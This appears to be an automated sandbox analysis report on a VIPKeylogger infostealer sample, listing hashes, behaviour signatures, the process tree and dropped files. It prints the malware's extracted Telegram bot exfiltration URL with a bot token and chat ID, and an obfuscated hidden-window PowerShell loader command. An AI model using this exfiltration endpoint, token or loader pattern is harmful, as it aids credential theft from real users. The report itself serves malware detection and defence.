Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
20-12-2024 04:51
General
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Target
Overheaped237.exe
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Size
573KB
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MD5
8f4adfd3b8c55670a99389ba3905e43d
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SHA1
24e4a66a55b65fe58933ac92b161befc5c5df977
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SHA256
8126f3d67e43f2c93f178b68cc6a791a61c7f4f986cd5fb0d213780c4aa8e2d4
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SHA512
9ddc6fb7d8f92d4ad22e1842704dfd8cad0184f86c9482fb2cbc051008a46bb87449c8abba66b4179fc602978c31ea9215cd070c7008e39f71b6d24a43c3c527
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SSDEEP
12288:d93jliesAP5dtwQYYy016wq2FFbyADqbM5LugDkzicmrdZNf:d93jliR4jasy01DHn+AWYROicudZNf
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7745751910:AAGY46QDCTWO_Pw9iDqZhkNij-i4uwbMgzE/sendMessage?chat_id=7695061973
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Loads dropped DLL 1 IoCs
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Windows directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Overheaped237.exe"C:\Users\Admin\AppData\Local\Temp\Overheaped237.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Circumcorneal=gc -raw 'C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Deinos253\Ekstensives.Bnd';$Liturgiernes=$Circumcorneal.SubString(18059,3);.$Liturgiernes($Circumcorneal) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
776B
MD531fc0f0b844ab5f9cf628fab434437bb
SHA19fbe156ceef8785affa9711680ac0f3ab78a9810
SHA25607453f9b0b47b99195a2307efbb82e118b35b0d86d2caecaab791d1bb587f9ec
SHA51261c780937153287629a9bbee72e3532c457ee36bed20bac3e68166fa0ab33c88334adc11488cf0e44982771f880f226b0ddd1170baf378c8ef18bfb35f6d6056
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
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Filesize
68KB
MD5c218052ab259497819cfe121db3e7483
SHA1ff3d7204dd2d9aa1a590132db4e347d2db7af7c3
SHA2560e4b16fa84ad77589a294a9a4d9bfd243eeccf6a2be6975e2122b3537a7e1cf6
SHA51273704852648a92e92ee0be371c463f6c4ba41c15f1e043e5b43d7c1d55771b64488a15bcf9f3a2316a5d2746908b75dd542d417d935660ab5694c97f38027af9
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Filesize
352KB
MD50b6f4d48e7517e011d43644f2f7f6f14
SHA1c97bf2f3fb0617a951e2d1757e086f642bbd7cb7
SHA256bfd1a80e5fb97d60cf6aea256ef9a178406f557b413ce561084f8535d02cd6d2
SHA512b419289eb4e56556a9c2f0c2abf7574f9cb811eadc772e33548cec8d7d76708ee01bd32dbe63ddc5719d3f070fd54457317c3dc4ad9b46d094f20197c7b6545c
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Filesize
18.3MB
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Filesize
18.3MB
-
Filesize
40KB
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Filesize
584KB
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Filesize
5.2MB
-
Filesize
320KB
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Filesize
1.8MB
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Filesize
624KB
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Filesize
296KB
-
Filesize
7.7MB
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Filesize
32KB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
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Filesize
136KB
-
Filesize
5.6MB
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Filesize
6.5MB
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Filesize
7.7MB
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Filesize
304KB
-
Filesize
120KB
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Filesize
7.7MB
-
Filesize
200KB
-
Filesize
408KB
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Filesize
652KB
-
Filesize
40KB
-
Filesize
68KB
-
Filesize
56KB
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Filesize
80KB
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Filesize
104KB
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Filesize
3.3MB
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Filesize
168KB
-
Filesize
144KB
-
Filesize
7.7MB
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Filesize
4KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
75.7MB
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Filesize
7.7MB
-
Filesize
408KB
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Filesize
7.7MB
-
Filesize
136KB
-
Filesize
7.7MB
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Filesize
6.2MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB